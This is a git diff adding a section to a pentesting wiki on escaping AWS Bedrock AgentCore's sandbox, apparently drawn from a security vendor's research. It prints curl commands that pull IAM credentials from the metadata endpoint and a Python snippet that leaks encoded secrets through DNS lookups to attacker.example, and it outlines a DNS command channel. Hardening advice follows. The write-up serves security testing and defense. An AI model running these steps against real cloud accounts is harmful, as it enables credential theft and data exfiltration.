diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md
index b620ee9a2..f418a1cf3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md
@@ -130,11 +130,118 @@ The core issue is that the backend lets the model decide **who may do what** by
 - Treat each collaborator as a separate trust boundary: scope action groups narrowly, validate tool inputs in the backend, and require server-side authorization before high-impact actions.
 - Bedrock **pre-processing** can reject or classify suspicious requests before orchestration, and **Guardrails** can block prompt-injection attempts at runtime. They should be enabled even if prompt templates already contain “do not disclose” rules.
 
+## AWS - AgentCore Sandbox Escape via DNS Tunneling and MMDS Abuse
+
+### Overview
+
+Amazon Bedrock AgentCore Code Interpreter runs inside an AWS-managed microVM and supports different network modes. The interesting post-exploitation question is not "can code run?" because code execution is the product feature, but whether the managed isolation still prevents **credential theft**, **exfiltration**, and **C2** once code runs.
+
+The useful chain is:
+
+1. Access the microVM metadata endpoint at `169.254.169.254`
+2. Recover temporary credentials from MMDS if tokenless access is still allowed
+3. Abuse sandbox DNS recursion as a covert egress path
+4. Exfiltrate credentials or run a DNS-based control loop
+
+This is the Bedrock-specific version of the classic **metadata -> credentials -> exfiltration** cloud attack path.
+
+### Main primitives
+
+#### 1. Runtime SSRF -> MMDS credentials
+
+AgentCore Runtime is not supposed to expose arbitrary code execution to end users, so the interesting primitive there is **SSRF**. If the runtime can be tricked into requesting `http://169.254.169.254/...` and MMDS accepts plain `GET` requests without an MMDSv2 token, the SSRF becomes a direct credential theft primitive.
+
+This recreates the old **IMDSv1 risk model**:
+
+```bash
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
+```
+
+If MMDSv2 is enforced, a simple SSRF usually loses impact because it also needs a preceding `PUT` request to obtain the session token. If MMDSv1-compatible access is still enabled on older agents/tools, treat Runtime SSRF as a high-severity credential theft path.
+
+#### 2. Code Interpreter -> MMDS reconnaissance
+
+Inside Code Interpreter, arbitrary code execution already exists by design, so MMDS mainly matters because it exposes:
+
+- temporary IAM role credentials
+- instance metadata and tags
+- internal service plumbing that hints at reachable AWS backends
+
+Interesting paths from the research:
+
+- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-url`
+- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-kms-key`
+
+The returned S3 pre-signed URL is useful because it proves the sandbox still needs some outbound path to AWS services. That is a strong hint that "isolated" only means "restricted", not "offline".
+
+#### 3. Sandbox DNS recursion -> DNS tunneling
+
+The most valuable network finding is that Sandbox mode can still perform **DNS resolution**, including recursion for arbitrary public domains. Even if direct TCP/UDP data traffic is blocked, that is enough for **DNS tunneling**.
+
+Quick validation from inside the interpreter:
+
+```python
+import socket
+
+socket.gethostbyname_ex("s3.us-east-1.amazonaws.com")
+socket.gethostbyname_ex("attacker.example")
+```
+
+If attacker-controlled domains resolve, use the query name itself as the transport:
+
+```python
+import base64
+import socket
+
+data = b"my-secret"
+label = base64.urlsafe_b64encode(data).decode().rstrip("=")
+socket.gethostbyname_ex(f"{label}.attacker.example")
+```
+
+The recursive resolver forwards the query to the attacker's authoritative DNS server, so the payload is recovered from DNS logs. Repeating this in chunks gives you a simple **egress channel** for:
+
+- MMDS credentials
+- environment variables
+- source code
+- command output
+
+DNS responses can also carry small tasking values, enabling a basic **bidirectional DNS C2** loop.
+
+### Practical post-exploitation chain
+
+1. Get code execution in AgentCore Code Interpreter or SSRF in AgentCore Runtime.
+2. Query MMDS and recover the attached role credentials when tokenless metadata is available.
+3. Test whether sandbox/public DNS recursion reaches an attacker domain.
+4. Chunk and encode credentials into subdomains.
+5. Reconstruct them from authoritative DNS logs and reuse them with AWS APIs.
+
+For direct execution-role pivoting through a more privileged interpreter configuration, also check [AWS - Bedrock PrivEsc](../../aws-privilege-escalation/aws-bedrock-privesc/README.md).
+
+### Pre-signed URL signer identity leak
+
+The undocumented MMDS tag values can also leak backend identity information. If you intentionally break the signature of the returned S3 pre-signed URL, the `SignatureDoesNotMatch` response may disclose the signing `AWSAccessKeyID`. That key ID can then be mapped to an owning AWS account:
+
+```bash
+aws sts get-access-key-info --access-key-id <ACCESS_KEY_ID>
+```
+
+This does not automatically grant write access outside the scope of the pre-signed object path, but it helps map the AWS-managed infrastructure behind the Bedrock service.
+
+### Hardening / detection
+
+- Prefer **VPC mode** when you need real network isolation instead of relying on Sandbox mode.
+- Restrict DNS egress in VPC mode with **Route 53 Resolver DNS Firewall**.
+- Require **MMDSv2** where AgentCore exposes that control, and disable MMDSv1 compatibility on older agents/tools.
+- Treat any Runtime SSRF as potentially equivalent to metadata credential theft until MMDSv2-only behavior is verified.
+- Keep AgentCore execution roles tightly scoped because DNS tunneling turns "non-internet" code execution into a practical exfiltration channel.
+
 
 ## References
 
 - [When AI Remembers Too Much – Persistent Behaviors in Agents’ Memory (Unit 42)](https://unit42.paloaltonetworks.com/indirect-prompt-injection-poisons-ai-longterm-memory/)
 - [When an Attacker Meets a Group of Agents: Navigating Amazon Bedrock's Multi-Agent Applications (Unit 42)](https://unit42.paloaltonetworks.com/amazon-bedrock-multiagent-applications/)
+- [Cracks in the Bedrock: Escaping the AWS AgentCore Sandbox (Unit 42)](https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/)
 - [Retain conversational context across multiple sessions using memory – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-memory.html)
 - [How Amazon Bedrock Agents works](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-how.html)
 - [Advanced prompt templates – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/advanced-prompts-templates.html)
@@ -143,5 +250,7 @@ The core issue is that the backend lets the model decide **who may do what** by
 - [Monitor model invocation using CloudWatch Logs and Amazon S3 – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html)
 - [Track agent’s step-by-step reasoning process using trace – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/trace-events.html)
 - [Amazon Bedrock Guardrails](https://aws.amazon.com/bedrock/guardrails/)
+- [Understanding credentials management in Amazon Bedrock AgentCore](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
+- [Resource management - Amazon Bedrock AgentCore](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-resource-management.html)
 
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